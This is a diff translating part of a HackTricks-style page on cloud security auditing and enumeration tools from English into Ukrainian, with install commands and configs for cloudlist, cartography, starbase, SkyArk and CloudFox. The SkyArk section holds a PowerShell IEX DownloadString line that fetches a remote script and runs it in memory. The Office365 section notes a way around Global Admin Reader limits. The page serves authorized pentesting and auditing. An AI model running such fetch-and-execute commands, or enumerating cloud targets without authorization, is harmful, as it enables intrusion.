[https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) -To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) - -More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) +Більше плагінів AWS для Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) {{#endtab }} {{#endtabs }} ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite) AWS, GCP, Azure, DigitalOcean.\ -It requires python2.7 and looks unmaintained. +Вимагає python2.7 і виглядає непідтримуваним. ### Nessus -Nessus has an _**Audit Cloud Infrastructure**_ scan supporting: AWS, Azure, Office 365, Rackspace, Salesforce. Some extra configurations in **Azure** are needed to obtain a **Client Id**. +Nessus має _**Аудит хмарної інфраструктури**_ сканування, що підтримує: AWS, Azure, Office 365, Rackspace, Salesforce. Деякі додаткові налаштування в **Azure** потрібні для отримання **Client Id**. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers. +Cloudlist - це **інструмент для багатохмарного отримання активів** (імен хостів, IP-адрес) від постачальників хмарних послуг. {{#tabs }} {{#tab name="Cloudlist" }} - ```bash cd /tmp wget https://github.com/projectdiscovery/cloudlist/releases/latest/download/cloudlist_1.0.1_macOS_arm64.zip @@ -276,46 +253,40 @@ unzip cloudlist_1.0.1_macOS_arm64.zip chmod +x cloudlist sudo mv cloudlist /usr/local/bin ``` - {{#endtab }} -{{#tab name="Second Tab" }} - +{{#tab name="Другий таб" }} ```bash ## For GCP it requires service account JSON credentials cloudlist -config ``` - {{#endtab }} {{#endtabs }} ### [**cartography**](https://github.com/lyft/cartography) -Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database. +Cartography - це інструмент на Python, який консолідує інфраструктурні активи та відносини між ними в інтуїтивно зрозумілому графічному вигляді, що працює на базі бази даних Neo4j. {{#tabs }} {{#tab name="Install" }} - ```bash # Installation docker image pull ghcr.io/lyft/cartography docker run --platform linux/amd64 ghcr.io/lyft/cartography cartography --help ## Install a Neo4j DB version 3.5.* ``` - {{#endtab }} {{#tab name="GCP" }} - ```bash docker run --platform linux/amd64 \ - --volume "$HOME/.config/gcloud/application_default_credentials.json:/application_default_credentials.json" \ - -e GOOGLE_APPLICATION_CREDENTIALS="/application_default_credentials.json" \ - -e NEO4j_PASSWORD="s3cr3t" \ - ghcr.io/lyft/cartography \ - --neo4j-uri bolt://host.docker.internal:7687 \ - --neo4j-password-env-var NEO4j_PASSWORD \ - --neo4j-user neo4j +--volume "$HOME/.config/gcloud/application_default_credentials.json:/application_default_credentials.json" \ +-e GOOGLE_APPLICATION_CREDENTIALS="/application_default_credentials.json" \ +-e NEO4j_PASSWORD="s3cr3t" \ +ghcr.io/lyft/cartography \ +--neo4j-uri bolt://host.docker.internal:7687 \ +--neo4j-password-env-var NEO4j_PASSWORD \ +--neo4j-user neo4j # It only checks for a few services inside GCP (https://lyft.github.io/cartography/modules/gcp/index.html) @@ -326,17 +297,15 @@ docker run --platform linux/amd64 \ ## Google Kubernetes Engine ### If you can run starbase or purplepanda you will get more info ``` - {{#endtab }} {{#endtabs }} ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database. +Starbase збирає активи та відносини з сервісів і систем, включаючи хмарну інфраструктуру, SaaS-додатки, засоби безпеки та інше, в інтуїтивно зрозумілому графічному вигляді, підтримуваному базою даних Neo4j. {{#tabs }} {{#tab name="Install" }} - ```bash # You are going to need Node version 14, so install nvm following https://tecadmin.net/install-nvm-macos-with-homebrew/ npm install --global yarn @@ -359,44 +328,40 @@ docker build --no-cache -t starbase:latest . docker-compose run starbase setup docker-compose run starbase run ``` - {{#endtab }} {{#tab name="GCP" }} - ```yaml ## Config for GCP ### Check out: https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md ### It requires service account credentials integrations: - - name: graph-google-cloud - instanceId: testInstanceId - directory: ./.integrations/graph-google-cloud - gitRemoteUrl: https://github.com/JupiterOne/graph-google-cloud.git - config: - SERVICE_ACCOUNT_KEY_FILE: "{Check https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md#service_account_key_file-string}" - PROJECT_ID: "" - FOLDER_ID: "" - ORGANIZATION_ID: "" - CONFIGURE_ORGANIZATION_PROJECTS: false +- name: graph-google-cloud +instanceId: testInstanceId +directory: ./.integrations/graph-google-cloud +gitRemoteUrl: https://github.com/JupiterOne/graph-google-cloud.git +config: +SERVICE_ACCOUNT_KEY_FILE: "{Check https://github.com/JupiterOne/graph-google-cloud/blob/main/docs/development.md#service_account_key_file-string}" +PROJECT_ID: "" +FOLDER_ID: "" +ORGANIZATION_ID: "" +CONFIGURE_ORGANIZATION_PROJECTS: false storage: - engine: neo4j - config: - username: neo4j - password: s3cr3t - uri: bolt://localhost:7687 - #Consider using host.docker.internal if from docker +engine: neo4j +config: +username: neo4j +password: s3cr3t +uri: bolt://localhost:7687 +#Consider using host.docker.internal if from docker ``` - {{#endtab }} {{#endtabs }} ### [**SkyArk**](https://github.com/cyberark/SkyArk) -Discover the most privileged users in the scanned AWS or Azure environment, including the AWS Shadow Admins. It uses powershell. - +Виявлення найбільш привілейованих користувачів у відсканованому середовищі AWS або Azure, включаючи AWS Shadow Admins. Він використовує PowerShell. ```powershell Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -405,18 +370,17 @@ Start-AzureStealth IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1') Scan-AzureAdmins ``` - ### [Cloud Brute](https://github.com/0xsha/CloudBrute) -A tool to find a company (target) infrastructure, files, and apps on the top cloud providers (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). +Інструмент для знаходження інфраструктури, файлів та додатків компанії (цілі) на провідних хмарних платформах (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode). ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox is a tool to find exploitable attack paths in cloud infrastructure (currently only AWS & Azure supported with GCP upcoming). -- It is an enumeration tool which is intended to compliment manual pentesting. -- It doesn't create or modify any data within the cloud environment. +- CloudFox - це інструмент для знаходження експлуатованих шляхів атаки в хмарній інфраструктурі (в даний час підтримуються лише AWS та Azure, GCP незабаром). +- Це інструмент для перерахунку, який призначений для доповнення ручного pentesting. +- Він не створює і не модифікує жодні дані в хмарному середовищі. -### More lists of cloud security tools +### Більше списків інструментів безпеки хмари - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec) @@ -448,14 +412,10 @@ azure-security/ ### Attack Graph -[**Stormspotter** ](https://github.com/Azure/Stormspotter)creates an “attack graph” of the resources in an Azure subscription. It enables red teams and pentesters to visualize the attack surface and pivot opportunities within a tenant, and supercharges your defenders to quickly orient and prioritize incident response work. +[**Stormspotter** ](https://github.com/Azure/Stormspotter) створює “граф атаки” ресурсів у підписці Azure. Це дозволяє червоним командам та pentester'ам візуалізувати поверхню атаки та можливості повороту в межах орендаря, а також значно покращує вашу оборону для швидкої орієнтації та пріоритизації роботи з реагування на інциденти. ### Office365 -You need **Global Admin** or at least **Global Admin Reader** (but note that Global Admin Reader is a little bit limited). However, those limitations appear in some PS modules and can be bypassed accessing the features **via the web application**. +Вам потрібен **Global Admin** або принаймні **Global Admin Reader** (але зверніть увагу, що Global Admin Reader має деякі обмеження). Однак ці обмеження з'являються в деяких PS модулях і можуть бути обійдені доступом до функцій **через веб-додаток**. {{#include ../banners/hacktricks-training.md}} - - - -